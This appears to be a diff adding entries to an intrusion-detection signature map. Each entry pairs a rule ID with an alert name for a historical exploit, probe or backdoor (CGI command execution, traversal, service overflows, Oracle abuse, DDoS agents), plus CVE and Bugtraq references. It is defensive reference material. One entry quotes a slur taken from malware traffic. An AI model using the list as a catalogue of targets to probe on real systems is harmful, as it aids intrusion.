+1492 || WEB-MISC RBS ISP /newuser  directory traversal attempt || bugtraq,1704 || cve,2000-1036 || nessus,10521
+1493 || WEB-MISC RBS ISP /newuser access || bugtraq,1704 || cve,2000-1036 || nessus,10521
+1494 || WEB-CGI SIX webboard generate.cgi attempt || bugtraq,3175 || cve,2001-1115 || nessus,10725
+1495 || WEB-CGI SIX webboard generate.cgi access || bugtraq,3175 || cve,2001-1115
+1496 || WEB-CGI spin_client.cgi access || nessus,10393
+1497 || WEB-MISC cross site scripting attempt
+1498 || WEB-MISC PIX firewall manager directory traversal attempt || bugtraq,691 || cve,1999-0158 || nessus,10819
+1499 || WEB-MISC SiteScope Service access || nessus,10778
+1500 || WEB-MISC ExAir access || bugtraq,193 || cve,1999-0449 || nessus,10002 || nessus,10003 || nessus,10004
+1501 || WEB-CGI a1stats a1disp3.cgi directory traversal attempt || bugtraq,2705 || cve,2001-0561 || nessus,10669
+1502 || WEB-CGI a1stats a1disp3.cgi access || bugtraq,2705 || cve,2001-0561 || nessus,10669
+1503 || WEB-CGI admentor admin.asp access || bugtraq,4152 || cve,2002-0308 || nessus,10880 || url,www.securiteam.com/windowsntfocus/5DP0N1F6AW.html
+1504 || MISC AFS access || nessus,10441
+1505 || WEB-CGI alchemy http server PRN arbitrary command execution attempt || bugtraq,3599 || cve,2001-0871
+1506 || WEB-CGI alchemy http server NUL arbitrary command execution attempt || bugtraq,3599 || cve,2001-0871
+1507 || WEB-CGI alibaba.pl arbitrary command execution attempt || bugtraq,770 || cve,1999-0885 || nessus,10013
+1508 || WEB-CGI alibaba.pl access || bugtraq,770 || cve ,CAN-1999-0885 || nessus,10013
+1509 || WEB-CGI AltaVista Intranet Search directory traversal attempt || bugtraq,896 || cve,2000-0039 || nessus,10015
+1510 || WEB-CGI test.bat arbitrary command execution attempt || bugtraq,762 || cve,1999-0947 || nessus,10016
+1511 || WEB-CGI test.bat access || bugtraq,762 || cve,1999-0947 || nessus,10016
+1512 || WEB-CGI input.bat arbitrary command execution attempt || bugtraq,762 || cve,1999-0947 || nessus,10016
+1513 || WEB-CGI input.bat access || bugtraq,762 || cve,1999-0947 || nessus,10016
+1514 || WEB-CGI input2.bat arbitrary command execution attempt || bugtraq,762 || cve,1999-0947 || nessus,10016
+1515 || WEB-CGI input2.bat access || bugtraq,762 || cve,1999-0947 || nessus,10016
+1516 || WEB-CGI envout.bat arbitrary command execution attempt || bugtraq,762 || cve,1999-0947 || nessus,10016
+1517 || WEB-CGI envout.bat access || bugtraq,762 || cve,1999-0947 || nessus,10016
+1518 || WEB-MISC nstelemetry.adp access || nessus,10753
+1519 || WEB-MISC apache ?M=D directory list attempt || bugtraq,3009 || cve,2001-0731
+1520 || WEB-MISC server-info access || url,httpd.apache.org/docs/mod/mod_info.html
+1521 || WEB-MISC server-status access || url,httpd.apache.org/docs/mod/mod_info.html
+1522 || WEB-MISC ans.pl attempt || bugtraq,4147 || bugtraq,4149 || cve,2002-0306 || cve,2002-0307 || nessus,10875
+1523 || WEB-MISC ans.pl access || bugtraq,4147 || bugtraq,4149 || cve,2002-0306 || cve,2002-0307 || nessus,10875
+1524 || WEB-MISC AxisStorpoint CD attempt || bugtraq,1025 || cve,2000-0191 || nessus,10023
+1525 || WEB-MISC Axis Storpoint CD access || bugtraq,1025 || cve,2000-0191 || nessus,10023
+1526 || WEB-MISC basilix sendmail.inc access || bugtraq,2198 || cve,2001-1044 || nessus,10601
+1527 || WEB-MISC basilix mysql.class access || bugtraq,2198 || cve,2001-1044 || nessus,10601
+1528 || WEB-MISC BBoard access || bugtraq,1459 || cve,2000-0629 || nessus,10507
+1529 || FTP SITE overflow attempt || cve,1999-0838 || cve,2001-0755 || cve,2001-0770
+1530 || FTP format string attempt || bugtraq,1387 || bugtraq,2240 || bugtraq,726 || cve,1999-0997 || cve,2000-0573 || nessus,10452
+1531 || WEB-CGI bb-hist.sh attempt || bugtraq,142 || cve,1999-1462 || nessus,10025
+1532 || WEB-CGI bb-hostscv.sh attempt || bugtraq,1455 || cve,2000-0638 || nessus,10460
+1533 || WEB-CGI bb-hostscv.sh access || bugtraq,1455 || cve,2000-0638 || nessus,10460
+1534 || WEB-CGI agora.cgi attempt || bugtraq,3702 || bugtraq,3976 || cve,2001-1199 || cve,2002-0215 || nessus,10836
+1535 || WEB-CGI bizdbsearch access || bugtraq,1104 || cve,2000-0287 || nessus,10383
+1536 || WEB-CGI calendar_admin.pl arbitrary command execution attempt || cve,2000-0432
+1537 || WEB-CGI calendar_admin.pl access || cve,2000-0432
+1538 || NNTP AUTHINFO USER overflow attempt || arachnids,274 || bugtraq,1156 || cve,2000-0341
+1539 || WEB-CGI /cgi-bin/ls access || bugtraq,936 || cve,2000-0079
+1540 || WEB-COLDFUSION ?Mode=debug attempt || nessus,10797
+1541 || FINGER version query
+1542 || WEB-CGI cgimail access || bugtraq,1623 || cve,2000-0726 || nessus,11721
+1543 || WEB-CGI cgiwrap access || bugtraq,1238 || bugtraq,3084 || bugtraq,777 || cve,1999-1530 || cve,2000-0431 || cve,2001-0987 || nessus,10041
+1544 || WEB-MISC Cisco Catalyst command execution attempt || bugtraq,1846 || cve,2000-0945 || nessus,10545
+1545 || DOS Cisco attempt
+1546 || WEB-MISC Cisco /%% DOS attempt || bugtraq,1154 || cve,2000-0380
+1547 || WEB-CGI csSearch.cgi arbitrary command execution attempt || bugtraq,4368 || cve,2002-0495 || nessus,10924
+1548 || WEB-CGI csSearch.cgi access || bugtraq,4368 || cve,2002-0495 || nessus,10924
+1549 || SMTP HELO overflow attempt || bugtraq,7726 || bugtraq,895 || cve,2000-0042 || nessus,10324 || nessus,11674
+1550 || SMTP ETRN overflow attempt || bugtraq,1297 || bugtraq,7515 || cve,2000-0490 || nessus,10438
+1551 || WEB-MISC /CVS/Entries access || nessus,10922 || nessus,11032
+1552 || WEB-MISC cvsweb version access || cve,2000-0670
+1553 || WEB-CGI /cart/cart.cgi access || bugtraq,1115 || cve,2000-0252
+1554 || WEB-CGI dbman db.cgi access || bugtraq,1178 || cve,2000-0381 || nessus,10403
+1555 || WEB-CGI DCShop access || bugtraq,2889 || cve,2001-0821
+1556 || WEB-CGI DCShop orders.txt access || bugtraq,2889 || cve,2001-0821
+1557 || WEB-CGI DCShop auth_user_file.txt access || bugtraq,2889 || cve,2001-0821
+1558 || WEB-MISC Delegate whois overflow attempt || cve,2000-0165
+1559 || WEB-MISC /doc/packages access || bugtraq,1707 || cve,2000-1016 || nessus,10518 || nessus,11032
+1560 || WEB-MISC /doc/ access || bugtraq,318 || cve,1999-0678
+1561 || WEB-MISC ?open access
+1562 || FTP SITE CHOWN overflow attempt || bugtraq,2120 || cve,2001-0065
+1563 || WEB-MISC login.htm attempt || bugtraq,665 || cve,1999-1533
+1564 || WEB-MISC login.htm access || bugtraq,665 || cve,1999-1533
+1565 || WEB-CGI eshop.pl arbitrary commane execution attempt || bugtraq,3340 || cve,2001-1014
+1566 || WEB-CGI eshop.pl access || bugtraq,3340 || cve,2001-1014
+1567 || WEB-IIS /exchange/root.asp attempt || bugtraq,3301 || cve,2001-0660 || nessus,10755 || nessus,10781 || url,www.microsoft.com/technet/security/bulletin/MS01-047.mspx
+1568 || WEB-IIS /exchange/root.asp access || bugtraq,3301 || cve,2001-0660 || nessus,10755 || nessus,10781
+1569 || WEB-CGI loadpage.cgi directory traversal attempt || bugtraq,2109 || cve,2000-1092
+1570 || WEB-CGI loadpage.cgi access || bugtraq,2109 || cve,2000-1092
+1571 || WEB-CGI dcforum.cgi directory traversal attempt || bugtraq,2611 || cve,2001-0436 || cve,2001-0437
+1572 || WEB-CGI commerce.cgi arbitrary file access attempt || bugtraq,2361 || cve,2001-0210 || nessus,10612
+1573 || WEB-CGI cgiforum.pl attempt || bugtraq,1963 || cve,2000-1171 || nessus,10552
+1574 || WEB-CGI directorypro.cgi attempt || bugtraq,2793 || cve,2001-0780
+1575 || WEB-MISC Domino mab.nsf access || bugtraq,4022 || nessus,10953
+1576 || WEB-MISC Domino cersvr.nsf access || nessus,10629
+1577 || WEB-MISC Domino setup.nsf access || nessus,10629
+1578 || WEB-MISC Domino statrep.nsf access || nessus,10629
+1579 || WEB-MISC Domino webadmin.nsf access || bugtraq,9900 || bugtraq,9901 || nessus,10629
+1580 || WEB-MISC Domino events4.nsf access || nessus,10629
+1581 || WEB-MISC Domino ntsync4.nsf access || nessus,10629
+1582 || WEB-MISC Domino collect4.nsf access || nessus,10629
+1583 || WEB-MISC Domino mailw46.nsf access || nessus,10629
+1584 || WEB-MISC Domino bookmark.nsf access || nessus,10629
+1585 || WEB-MISC Domino agentrunner.nsf access || nessus,10629
+1586 || WEB-MISC Domino mail.box access || bugtraq,881 || nessus,10629
+1587 || WEB-MISC cgitest.exe access || arachnids,265 || bugtraq,1313 || bugtraq,3885 || cve,2000-0521 || cve,2002-0128 || nessus,10040 || nessus,10623 || nessus,11131
+1588 || WEB-MISC SalesLogix Eviewer access || bugtraq,1078 || bugtraq,1089 || cve,2000-0278 || cve,2000-0289
+1589 || WEB-MISC musicat empower attempt || bugtraq,2374 || cve,2001-0224 || nessus,10609
+1590 || WEB-CGI faqmanager.cgi arbitrary file access attempt || bugtraq,3810 || nessus,10837
+1591 || WEB-CGI faqmanager.cgi access || bugtraq,3810 || nessus,10837
+1592 || WEB-CGI /fcgi-bin/echo.exe access || nessus,10838
+1593 || WEB-CGI FormHandler.cgi external site redirection attempt || bugtraq,798 || bugtraq,799 || cve,1999-1050 || nessus,10075
+1594 || WEB-CGI FormHandler.cgi access || bugtraq,798 || bugtraq,799 || cve,1999-1050 || nessus,10075
+1595 || WEB-IIS htimage.exe access || bugtraq,1117 || bugtraq,964 || cve,2000-0122 || cve,2000-0256 || nessus,10376
+1597 || WEB-CGI guestbook.cgi access || cve,1999-0237 || nessus,10098
+1598 || WEB-CGI Home Free search.cgi directory traversal attempt || bugtraq,921 || cve,2000-0054
+1599 || WEB-CGI search.cgi access || bugtraq,921 || cve,2000-0054
+1600 || WEB-CGI htsearch arbitrary configuration file attempt || cve,2000-0208
+1601 || WEB-CGI htsearch arbitrary file read attempt || bugtraq,1026 || cve,2000-0208 || nessus,10105
+1602 || WEB-CGI htsearch access || bugtraq,1026 || cve,2000-0208 || nessus,10105
+1603 || WEB-MISC DELETE attempt || nessus,10498
+1604 || WEB-MISC iChat directory traversal attempt || cve,1999-0897
+1605 || DOS iParty DOS attempt || bugtraq,6844 || cve,1999-1566
+1606 || WEB-CGI icat access || cve,1999-1069
+1607 || WEB-CGI HyperSeek hsx.cgi access || bugtraq,2314 || cve,2001-0253 || nessus,10602
+1608 || WEB-CGI htmlscript attempt || bugtraq,2001 || cve,1999-0264 || nessus,10106
+1609 || WEB-CGI faxsurvey arbitrary file read attempt || bugtraq,2056 || cve,1999-0262 || nessus,10067
+1610 || WEB-CGI formmail arbitrary command execution attempt || arachnids,226 || bugtraq,1187 || bugtraq,2079 || cve,1999-0172 || cve,2000-0411 || nessus,10076 || nessus,10782
+1611 || WEB-CGI eXtropia webstore access || bugtraq,1774 || cve,2000-1005 || nessus,10532
+1612 || WEB-MISC ftp.pl attempt || bugtraq,1471 || cve,2000-0674 || nessus,10467
+1613 || WEB-MISC handler attempt || arachnids,235 || bugtraq,380 || cve,1999-0148 || nessus,10100
+1614 || WEB-MISC Novell Groupwise gwweb.exe attempt || bugtraq,879 || cve,1999-1005 || cve,1999-1006 || nessus,10877
+1615 || WEB-MISC htgrep attempt || cve,2000-0832
+1616 || DNS named version attempt || arachnids,278 || nessus,10028
+1617 || WEB-CGI Bugzilla doeditvotes.cgi access || bugtraq,3800 || cve,2002-0011
+1618 || WEB-IIS .asp chunked Transfer-Encoding || bugtraq,4474 || bugtraq,4485 || cve,2002-0071 || cve,2002-0079 || nessus,10932
+1619 || EXPERIMENTAL WEB-IIS .htr request || bugtraq,4474 || cve,2002-0071 || nessus,10932
+1620 || BAD TRAFFIC Non-Standard IP protocol
+1621 || FTP CMD overflow attempt
+1622 || FTP RNFR ././ attempt
+1623 || FTP invalid MODE
+1624 || FTP large PWD command
+1625 || FTP large SYST command
+1626 || WEB-IIS /StoreCSVS/InstantOrder.asmx request
+1627 || BAD-TRAFFIC Unassigned/Reserved IP protocol || url,www.iana.org/assignments/protocol-numbers
+1628 || WEB-CGI FormHandler.cgi directory traversal attempt attempt || bugtraq,798 || bugtraq,799 || cve,1999-1050 || nessus,10075
+1629 || OTHER-IDS SecureNetPro traffic
+1631 || CHAT AIM login
+1632 || CHAT AIM send message
+1633 || CHAT AIM receive message
+1634 || POP3 PASS overflow attempt || bugtraq,791 || cve,1999-1511 || nessus,10325
+1635 || POP3 APOP overflow attempt || bugtraq,1652 || cve,2000-0840 || cve,2000-0841 || nessus,10559
+1636 || MISC Xtramail Username overflow attempt || bugtraq,791 || cve,1999-1511 || nessus,10323
+1637 || WEB-CGI yabb access || arachnids,462 || bugtraq,1668 || cve,2000-0853
+1638 || SCAN SSH Version map attempt
+1639 || CHAT IRC DCC file transfer request
+1640 || CHAT IRC DCC chat request
+1641 || DOS DB2 dos attempt || bugtraq,3010 || cve,2001-1143 || nessus,10871
+1642 || WEB-CGI document.d2w access || bugtraq,2017 || cve,2000-1110
+1643 || WEB-CGI db2www access || cve,2000-0677
+1644 || WEB-CGI test-cgi attempt || arachnids,218 || bugtraq,2003 || cve,1999-0070 || nessus,10282
+1645 || WEB-CGI testcgi access || bugtraq,7214 || nessus,11610
+1646 || WEB-CGI test.cgi access
+1647 || WEB-CGI faxsurvey attempt full path || bugtraq,2056 || cve,1999-0262 || nessus,10067
+1648 || WEB-CGI perl.exe command attempt || arachnids,219 || cve,1999-0509 || nessus,10173 || url,www.cert.org/advisories/CA-1996-11.html
+1649 || WEB-CGI perl command attempt || arachnids,219 || cve,1999-0509 || nessus,10173 || url,www.cert.org/advisories/CA-1996-11.html
+1650 || WEB-CGI tst.bat access || bugtraq,770 || cve,1999-0885 || nessus,10014
+1651 || WEB-CGI environ.pl access
+1652 || WEB-CGI campus attempt || bugtraq,1975 || cve,1999-0146 || nessus,10035
+1653 || WEB-CGI campus access || bugtraq,1975 || cve,1999-0146 || nessus,10035
+1654 || WEB-CGI cart32.exe access || bugtraq,1153
+1655 || WEB-CGI pfdispaly.cgi arbitrary command execution attempt || cve,1999-0270 || nessus,10174
+1656 || WEB-CGI pfdispaly.cgi access || cve,1999-0270 || nessus,10174
+1657 || WEB-CGI pagelog.cgi directory traversal attempt || bugtraq,1864 || cve,2000-0940 || nessus,10591
+1658 || WEB-CGI pagelog.cgi access || bugtraq,1864 || cve,2000-0940 || nessus,10591
+1659 || WEB-COLDFUSION sendmail.cfm access
+1660 || WEB-IIS trace.axd access || nessus,10993
+1661 || WEB-IIS cmd32.exe access
+1662 || WEB-MISC /~ftp access
+1663 || WEB-MISC *%0a.pl access || nessus,11007 || url,www.securityfocus.com/archive/1/149482
+1664 || WEB-MISC mkplog.exe access
+1665 || WEB-MISC mkilog.exe access
+1666 || ATTACK-RESPONSES index of /cgi-bin/ response || nessus,10039
+1667 || WEB-MISC cross site scripting HTML Image tag set to javascript attempt || bugtraq,4858 || cve,2002-0902
+1668 || WEB-CGI /cgi-bin/ access
+1669 || WEB-CGI /cgi-dos/ access
+1670 || WEB-MISC /home/ftp access || nessus,11032
+1671 || WEB-MISC /home/www access || nessus,11032
+1672 || FTP CWD ~ attempt || bugtraq,2601 || bugtraq,9215 || cve,2001-0421
+1673 || ORACLE EXECUTE_SYSTEM attempt
+1674 || ORACLE connect_data remote version detection attempt
+1675 || ORACLE misparsed login response
+1676 || ORACLE select union attempt
+1677 || ORACLE select like '%' attempt
+1678 || ORACLE select like '%' attempt backslash escaped
+1679 || ORACLE describe attempt
+1680 || ORACLE all_constraints access
+1681 || ORACLE all_views access
+1682 || ORACLE all_source access
+1683 || ORACLE all_tables access
+1684 || ORACLE all_tab_columns access
+1685 || ORACLE all_tab_privs access
+1686 || ORACLE dba_tablespace access
+1687 || ORACLE dba_tables access
+1688 || ORACLE user_tablespace access
+1689 || ORACLE sys.all_users access
+1690 || ORACLE grant attempt
+1691 || ORACLE ALTER USER attempt
+1692 || ORACLE drop table attempt
+1693 || ORACLE create table attempt
+1694 || ORACLE alter table attempt
+1695 || ORACLE truncate table attempt
+1696 || ORACLE create database attempt
+1697 || ORACLE alter database attempt
+1698 || ORACLE execute_system attempt
+1699 || P2P Fastrack kazaa/morpheus traffic || url,www.kazaa.com
+1700 || WEB-CGI imagemap.exe access || arachnids,412 || bugtraq,739 || cve,1999-0951 || nessus,10122
+1701 || WEB-CGI calendar-admin.pl access || bugtraq,1215
+1702 || WEB-CGI Amaya templates sendtemp.pl access || bugtraq,2504 || cve,2001-0272
+1703 || WEB-CGI auktion.cgi directory traversal attempt || bugtraq,2367 || cve,2001-0212 || nessus,10638
+1704 || WEB-CGI cal_make.pl directory traversal attempt || bugtraq,2663 || cve,2001-0463 || nessus,10664
+1705 || WEB-CGI echo.bat arbitrary command execution attempt || bugtraq,1002 || cve,2000-0213 || nessus,10246
+1706 || WEB-CGI echo.bat access || bugtraq,1002 || cve,2000-0213 || nessus,10246
+1707 || WEB-CGI hello.bat arbitrary command execution attempt || bugtraq,1002 || cve,2000-0213 || nessus,10246
+1708 || WEB-CGI hello.bat access || bugtraq,1002 || cve,2000-0213 || nessus,10246
+1709 || WEB-CGI ad.cgi access || bugtraq,2103 || cve,2001-0025 || nessus,11464
+1710 || WEB-CGI bbs_forum.cgi access || bugtraq,2177 || cve,2001-0123 || url,www.cgisecurity.com/advisory/3.1.txt
+1711 || WEB-CGI bsguest.cgi access || bugtraq,2159 || cve,2001-0099
+1712 || WEB-CGI bslist.cgi access || bugtraq,2160 || cve,2001-0100
+1713 || WEB-CGI cgforum.cgi access || bugtraq,1951 || cve,2000-1132
+1714 || WEB-CGI newdesk access
+1715 || WEB-CGI register.cgi access || bugtraq,2157 || cve,2001-0076
+1716 || WEB-CGI gbook.cgi access || bugtraq,1940 || cve,2000-1131
+1717 || WEB-CGI simplestguest.cgi access || bugtraq,2106 || cve,2001-0022
+1718 || WEB-CGI statsconfig.pl access || bugtraq,2211 || cve,2001-0113
+1719 || WEB-CGI talkback.cgi directory traversal attempt || bugtraq,2547 || cve,2001-0420
+1720 || WEB-CGI talkback.cgi access || bugtraq,2547 || cve,2001-0420
+1721 || WEB-CGI adcycle access || bugtraq,3741 || cve,2001-1226
+1722 || WEB-CGI MachineInfo access || cve,1999-1067
+1723 || WEB-CGI emumail.cgi NULL attempt || bugtraq,5824 || cve,2002-1526
+1724 || WEB-CGI emumail.cgi access || bugtraq,5824 || cve,2002-1526
+1725 || WEB-IIS +.htr code fragment attempt || bugtraq,1488 || cve,2000-0630 || nessus,10680 || url,www.microsoft.com/technet/security/bulletin/MS00-044.mspx
+1726 || WEB-IIS doctodep.btr access
+1727 || WEB-CGI SGI InfoSearch fname access || arachnids,290 || bugtraq,1031 || cve,2000-0207
+1728 || FTP CWD ~<CR><NEWLINE> attempt || bugtraq,2601 || cve,2001-0421
+1729 || CHAT IRC channel join
+1730 || WEB-CGI ustorekeeper.pl directory traversal attempt || bugtraq,2536 || cve,2001-0466 || nessus,10645
+1731 || WEB-CGI a1stats access || bugtraq,2705 || cve,2001-0561 || nessus,10669
+1732 || RPC portmap rwalld request UDP
+1733 || RPC portmap rwalld request TCP
+1734 || FTP USER overflow attempt || bugtraq,10078 || bugtraq,1227 || bugtraq,1504 || bugtraq,1690 || bugtraq,4638 || bugtraq,7307 || bugtraq,8376 || cve,1999-1510 || cve,1999-1514 || cve,1999-1519 || cve,1999-1539 || cve,2000-0479 || cve,2000-0656 || cve,2000-0761 || cve,2000-0943 || cve,2000-1035 || cve,2000-1194 || cve,2001-0256 || cve,2001-0794 || cve,2001-0826 || cve,2002-0126 || cve,2002-1522 || cve,2003-0271 || cve,2004-0286
+1735 || WEB-CLIENT XMLHttpRequest attempt || bugtraq,4628 || cve,2002-0354
+1736 || WEB-PHP squirrel mail spell-check arbitrary command attempt || bugtraq,3952
+1737 || WEB-PHP squirrel mail theme arbitrary command attempt || bugtraq,4385 || cve,2002-0516
+1738 || WEB-MISC global.inc access || bugtraq,4612 || cve,2002-0614
+1739 || WEB-PHP DNSTools administrator authentication bypass attempt || bugtraq,4617 || cve,2002-0613
+1740 || WEB-PHP DNSTools authentication bypass attempt || bugtraq,4617 || cve,2002-0613
+1741 || WEB-PHP DNSTools access || bugtraq,4617 || cve,2002-0613
+1742 || WEB-PHP Blahz-DNS dostuff.php modify user attempt || bugtraq,4618 || cve,2002-0599
+1743 || WEB-PHP Blahz-DNS dostuff.php access || bugtraq,4618 || cve,2002-0599
+1744 || WEB-MISC SecureSite authentication bypass attempt || bugtraq,4621
+1745 || WEB-PHP Messagerie supp_membre.php access || bugtraq,4635
+1746 || RPC portmap cachefsd request UDP || bugtraq,4674 || cve,2002-0033 || cve,2002-0084
+1747 || RPC portmap cachefsd request TCP || bugtraq,4674 || cve,2002-0033 || cve,2002-0084
+1748 || FTP command overflow attempt || bugtraq,4638 || cve,2002-0606
+1749 || EXPERIMENTAL WEB-IIS .NET trace.axd access
+1750 || WEB-IIS users.xml access
+1751 || EXPLOIT cachefsd buffer overflow attempt || bugtraq,4631 || cve,2002-0084 || nessus,10951
+1752 || MISC AIM AddExternalApp attempt || url,www.w00w00.org/files/w00aimexp/
+1753 || WEB-IIS as_web.exe access || bugtraq,4670
+1754 || WEB-IIS as_web4.exe access || bugtraq,4670
+1755 || IMAP partial body buffer overflow attempt || bugtraq,4713 || cve,2002-0379
+1756 || WEB-IIS NewsPro administration authentication attempt || bugtraq,4672
+1757 || WEB-MISC b2 arbitrary command execution attempt || bugtraq,4673 || cve,2002-0734 || cve,2002-1466 || nessus,11667
+1758 || WEB-MISC b2 access || bugtraq,4673 || cve,2002-0734 || cve,2002-1466 || nessus,11667
+1759 || MS-SQL xp_cmdshell program execution 445
+1760 || OTHER-IDS ISS RealSecure 6 event collector connection attempt
+1761 || OTHER-IDS ISS RealSecure 6 daemon connection attempt
+1762 || WEB-CGI phf arbitrary command execution attempt || arachnids,128 || bugtraq,629 || cve,1999-0067
+1763 || WEB-CGI Nortel Contivity cgiproc DOS attempt || bugtraq,938 || cve,2000-0063 || cve,2000-0064 || nessus,10160
+1764 || WEB-CGI Nortel Contivity cgiproc DOS attempt || bugtraq,938 || cve,2000-0063 || cve,2000-0064 || nessus,10160
+1765 || WEB-CGI Nortel Contivity cgiproc access || bugtraq,938 || cve,2000-0063 || cve,2000-0064 || nessus,10160
+1766 || WEB-MISC search.dll directory listing attempt || bugtraq,1684 || cve,2000-0835 || nessus,10514
+1767 || WEB-MISC search.dll access || bugtraq,1684 || cve,2000-0835 || nessus,10514
+1768 || WEB-IIS header field buffer overflow attempt || bugtraq,4476 || cve,2002-0150
+1769 || WEB-MISC .DS_Store access || url,www.macintouch.com/mosxreaderreports46.html
+1770 || WEB-MISC .FBCIndex access || url,www.securiteam.com/securitynews/5LP0O005FS.html
+1771 || POLICY IPSec PGPNet connection attempt
+1772 || WEB-IIS pbserver access || cve,2000-1089 || url,www.microsoft.com/technet/security/bulletin/ms00-094.mspx
+1773 || WEB-PHP php.exe access || url,www.securitytracker.com/alerts/2002/Jan/1003104.html
+1774 || WEB-PHP bb_smilies.php access || url,www.securiteam.com/securitynews/Serious_security_hole_in_PHP-Nuke__bb_smilies_.html
+1775 || MYSQL root login attempt
+1776 || MYSQL show databases attempt
+1777 || FTP EXPLOIT STAT * dos attempt || bugtraq,4482 || cve,2002-0073 || nessus,10934 || url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx
+1778 || FTP EXPLOIT STAT ? dos attempt || bugtraq,4482 || cve,2002-0073 || nessus,10934 || url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx
+1779 || FTP CWD .... attempt || bugtraq,4884
+1780 || IMAP EXPLOIT partial body overflow attempt || bugtraq,4713 || cve,2002-0379
+1787 || WEB-CGI csPassword.cgi access || bugtraq,4885 || bugtraq,4886 || bugtraq,4887 || bugtraq,4889 || cve,2002-0917 || cve,2002-0918
+1788 || WEB-CGI csPassword password.cgi.tmp access || bugtraq,4889 || cve,2002-0920
+1789 || CHAT IRC dns request
+1790 || CHAT IRC dns response
+1791 || BACKDOOR fragroute trojan connection attempt || bugtraq,4898
+1792 || NNTP return code buffer overflow attempt || bugtraq,4900 || cve,2002-0909
+1800 || VIRUS Klez Incoming
+1801 || WEB-IIS .asp HTTP header buffer overflow attempt || bugtraq,4476 || cve,2002-0150 || url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx
+1802 || WEB-IIS .asa HTTP header buffer overflow attempt || bugtraq,4476 || cve,2002-0150 || url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx
+1803 || WEB-IIS .cer HTTP header buffer overflow attempt || bugtraq,4476 || cve,2002-0150 || url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx
+1804 || WEB-IIS .cdx HTTP header buffer overflow attempt || bugtraq,4476 || cve,2002-0150 || url,www.microsoft.com/technet/security/bulletin/MS02-018.mspx
+1805 || WEB-CGI Oracle reports CGI access || bugtraq,4848 || cve,2002-0947
+1806 || WEB-IIS .htr chunked Transfer-Encoding || bugtraq,4855 || bugtraq,5003 || cve,2002-0364
+1807 || WEB-MISC Chunked-Encoding transfer attempt || bugtraq,4474 || bugtraq,4485 || bugtraq,5033 || cve,2002-0071 || cve,2002-0079 || cve,2002-0392
+1808 || WEB-MISC apache chunked encoding memory corruption exploit attempt || bugtraq,5033 || cve,2002-0392
+1809 || WEB-MISC Apache Chunked-Encoding worm attempt || bugtraq,4474 || bugtraq,4485 || bugtraq,5033 || cve,2002-0071 || cve,2002-0079 || cve,2002-0392
+1810 || ATTACK-RESPONSES successful gobbles ssh exploit GOBBLE || bugtraq,5093 || cve,2002-0390 || cve,2002-0639
+1811 || ATTACK-RESPONSES successful gobbles ssh exploit uname || bugtraq,5093 || cve,2002-0390 || cve,2002-0639
+1812 || EXPLOIT gobbles SSH exploit attempt || bugtraq,5093 || cve,2002-0390 || cve,2002-0639
+1813 || ICMP digital island bandwidth query
+1814 || WEB-MISC CISCO VoIP DOS ATTEMPT || bugtraq,4794 || cve,2002-0882 || nessus,11013
+1815 || WEB-PHP directory.php arbitrary command attempt || bugtraq,4278 || cve,2002-0434
+1816 || WEB-PHP directory.php access || bugtraq,4278 || cve,2002-0434
+1817 || WEB-IIS MS Site Server default login attempt || nessus,11018
+1818 || WEB-IIS MS Site Server admin attempt || nessus,11018
+1819 || MISC Alcatel PABX 4400 connection attempt || nessus,11019
+1820 || WEB-MISC IBM Net.Commerce orderdspc.d2w access || bugtraq,2350 || cve,2001-0319 || nessus,11020
+1821 || EXPLOIT LPD dvips remote command execution attempt || bugtraq,3241 || cve,2001-1002 || nessus,11023
+1822 || WEB-CGI alienform.cgi directory traversal attempt || bugtraq,4983 || cve,2002-0934 || nessus,11027
+1823 || WEB-CGI AlienForm af.cgi directory traversal attempt || bugtraq,4983 || cve,2002-0934 || nessus,11027
+1824 || WEB-CGI alienform.cgi access || bugtraq,4983 || cve,2002-0934 || nessus,11027
+1825 || WEB-CGI AlienForm af.cgi access || bugtraq,4983 || cve,2002-0934 || nessus,11027
+1826 || WEB-MISC WEB-INF access || bugtraq,1830 || bugtraq,5119 || cve,2000-1050 || cve,2001-0179 || nessus,11037
+1827 || WEB-MISC Tomcat servlet mapping cross site scripting attempt || bugtraq,5193 || cve,2002-0682 || nessus,11041
+1828 || WEB-MISC iPlanet Search directory traversal attempt || bugtraq,5191 || cve,2002-1042 || nessus,11043
+1829 || WEB-MISC Tomcat TroubleShooter servlet access || bugtraq,4575 || nessus,11046
+1830 || WEB-MISC Tomcat SnoopServlet servlet access || bugtraq,4575 || nessus,11046
+1831 || WEB-MISC jigsaw dos attempt || nessus,11047
+1832 || CHAT ICQ forced user addition || bugtraq,3226 || cve,2001-1305
+1834 || WEB-PHP PHP-Wiki cross site scripting attempt || bugtraq,5254 || cve,2002-1070
+1835 || WEB-MISC Macromedia SiteSpring cross site scripting attempt || bugtraq,5249 || cve,2002-1027
+1838 || EXPLOIT SSH server banner overflow || bugtraq,5287 || cve,2002-1059
+1839 || WEB-MISC mailman cross site scripting attempt || bugtraq,5298 || cve,2002-0855
+1840 || WEB-CLIENT Javascript document.domain attempt || bugtraq,5346 || cve,2002-0815
+1841 || WEB-CLIENT Javascript URL host spoofing attempt || bugtraq,5293
+1842 || IMAP login buffer overflow attempt || bugtraq,13727 || bugtraq,502 || cve,1999-0005 || cve,1999-1557 || cve,2005-1255 || nessus,10123 || nessus,10125
+1843 || BACKDOOR trinity connection attempt || cve,2000-0138 || nessus,10501
+1844 || IMAP authenticate overflow attempt || bugtraq,12995 || bugtraq,130 || cve,1999-0005 || cve,1999-0042 || nessus,10292
+1845 || IMAP list literal overflow attempt || bugtraq,1110 || cve,2000-0284 || nessus,10374
+1846 || POLICY vncviewer Java applet download attempt || nessus,10758
+1847 || WEB-MISC webalizer access || bugtraq,3473 || cve,2001-0835 || nessus,10816
+1848 || WEB-MISC webcart-lite access || cve,1999-0610 || nessus,10298
+1849 || WEB-MISC webfind.exe access || bugtraq,1487 || cve,2000-0622 || nessus,10475
+1850 || WEB-CGI way-board.cgi access || nessus,10610
+1851 || WEB-MISC active.log access || bugtraq,1497 || cve,2000-0642 || nessus,10470
+1852 || WEB-MISC robots.txt access || nessus,10302
+1853 || BACKDOOR win-trin00 connection attempt || cve,2000-0138 || nessus,10307
+1854 || DDOS Stacheldraht handler->agent niggahbitch || url,staff.washington.edu/dittrich/misc/stacheldraht.analysis
+1855 || DDOS Stacheldraht agent->handler skillz || url,staff.washington.edu/dittrich/misc/stacheldraht.analysis
